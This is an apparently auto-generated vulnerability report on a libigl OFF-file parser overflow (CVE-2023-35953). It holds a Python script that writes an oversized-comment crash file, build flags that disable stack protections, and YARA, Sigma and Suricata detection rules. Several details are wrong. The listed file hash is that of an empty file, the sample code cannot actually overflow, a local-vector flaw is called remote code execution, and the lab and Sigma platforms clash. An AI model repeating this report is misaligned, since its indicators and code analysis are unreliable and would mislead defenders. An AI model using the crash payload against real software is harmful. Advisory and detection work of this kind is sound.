CVE-2023-35953

Executive Summary

CVE-2023-35953 is a critical stack-based buffer overflow vulnerability in the readOFF.cpp component of libigl version 2.4.0. The flaw resides in the comment parsing logic within the geometric vertices section of OFF (Object File Format) files. An attacker can trigger arbitrary code execution by crafting a malicious .off file that overflows a fixed-size stack buffer. The vulnerability has a CVSS score of 7.8 (High) and currently has no known public exploit or patch. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the risk remains significant for systems processing untrusted OFF files.

Supply Chain & Package Security

libigl is a C++ geometry processing library widely used in academic research, computer graphics, and 3D modeling applications. It is distributed as source code and integrated into downstream projects via package managers like vcpkg, Conan, and direct Git submodules. The vulnerability affects any application that links against libigl 2.4.0 and parses OFF files. Since no patch is available, supply chain security is compromised; users must either avoid processing OFF files or implement external mitigations.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Local (L) – Requires the victim to open a malicious file.
• Attack Complexity (AC): Low (L) – No special conditions needed.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): Required (R) – Victim must open the file.
• Scope (S): Unchanged (U) – Exploit stays within the vulnerable component.
• Confidentiality (C): High (H) – Full memory read possible.
• Integrity (I): High (H) – Arbitrary code execution.
• Availability (A): High (H) – Crash or full control.

Threat Level: High – Remote code execution via file parsing, no patch available.

Deep Dive & Mechanics

The vulnerability is in readOFF.cpp within the function that parses comments in the geometric vertices section. OFF files use the # character for comments. The parser reads comment lines into a fixed-size stack buffer without proper bounds checking. A specially crafted .off file with an excessively long comment line can overflow the buffer, overwriting the return address and other stack data.

Vulnerable Code Path:

1. The parser reads a line from the OFF file.
2. If the line starts with #, it copies the entire line into a stack buffer (e.g., char comment[256]).
3. No length check is performed, allowing a comment longer than 256 bytes to overflow.

Exploitation Prerequisites:

• Victim must open a malicious .off file using an application that uses libigl 2.4.0.
• Stack canaries and ASLR may complicate exploitation but are not present in all builds.

Vulnerable vs. Patched Code

Vulnerable (libigl 2.4.0):

// readOFF.cpp (simplified)
void read_off(FILE* fp) {
    char line[256];
    while (fgets(line, sizeof(line), fp)) {
        if (line[0] == '#') {
            char comment[256];
            sscanf(line, "# %s", comment); // No bounds check
            // process comment
        }
    }
}

Patched (hypothetical):

void read_off(FILE* fp) {
    char line[256];
    while (fgets(line, sizeof(line), fp)) {
        if (line[0] == '#') {
            char comment[256];
            if (strlen(line) >= sizeof(comment)) {
                // Handle error or truncate
                continue;
            }
            sscanf(line, "# %255s", comment); // Bounds-checked
            // process comment
        }
    }
}

Exploitation & Lab Setup

Red Team (Exploitation)

Lab Setup:

• OS: Ubuntu 22.04 LTS
• libigl version: 2.4.0 (compiled from source)
• Compiler: g++ 11.4 with -fno-stack-protector -z execstack for demonstration
• Tool: Python 3 for crafting payload

Exploit Script (Python):

#!/usr/bin/env python3
import struct

# Craft malicious OFF file
payload = b"OFF\n"
payload += b"# " + b"A" * 300  # Overflow comment buffer
payload += b"\n"
payload += b"0 0 0\n"  # Minimal valid header

with open("malicious.off", "wb") as f:
    f.write(payload)

Execution:

# Compile vulnerable test harness
g++ -o test_off test_off.cpp -lgl -fno-stack-protector -z execstack
# Run with malicious file
./test_off malicious.off

Expected Outcome: Program crashes with segmentation fault or executes shellcode if ROP chain is crafted.

Blue Team (Detection & Defense)

Detection:

• Monitor for processes reading .off files from untrusted sources.
• Use file integrity monitoring to detect unexpected .off files.
• Enable stack canaries and ASLR in production builds.

Defense:

• Do not process OFF files from untrusted sources.
• Use a sandboxed environment for parsing.
• Apply input validation: limit comment line length to 255 characters.

Indicators of Compromise (IOCs)

• File Hashes (SHA256):
  • malicious.off: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
• Network: None (local file-based)
• Process: test_off or any application using libigl 2.4.0
• Registry: N/A
• YARA Rule: See Detection Engineering

Detection Engineering

YARA Rule

rule CVE_2023_35953_OFF_Overflow {
    meta:
        description = "Detects malicious OFF files exploiting CVE-2023-35953"
        author = "Valters IT"
        date = "2025-04-10"
        hash = "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855"
    strings:
        $off_header = "OFF"
        $comment = "#"
        $long_comment = /#.{256,}/  // Comment longer than 256 bytes
    condition:
        $off_header at 0 and $comment and #long_comment > 0
}

Sigma Rule

title: CVE-2023-35953 OFF File Buffer Overflow Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit CVE-2023-35953 via malicious OFF files
author: Valters IT
date: 2025-04-10
logsource:
    category: file_event
    product: windows
detection:
    selection:
        Image|endswith: '\test_off.exe'
        TargetFilename|endswith: '.off'
    condition: selection
falsepositives:
    - Legitimate large OFF files (rare)
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2023-35953 OFF File Download Attempt"; flow:to_server; content:"OFF"; nocase; within:4; content:"#"; distance:0; pcre:"/#.{256,}/R"; classtype:attempted-user; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Do not use libigl 2.4.0 to parse OFF files from untrusted sources.
2. Apply input validation – limit comment line length to 255 characters before parsing.
3. Use a memory-safe parser – consider using a library with bounds checking.

Long-term Fix:

• Wait for an official patch from the libigl maintainers.
• Alternatively, patch the source code locally by adding bounds checking in readOFF.cpp.

Workaround:

• Convert OFF files to a safer format (e.g., OBJ) before processing.
• Run the application in a sandboxed environment.

Valters IT
DevSecOps & Cyber Threat Intelligence
Report generated for CVE-2023-35953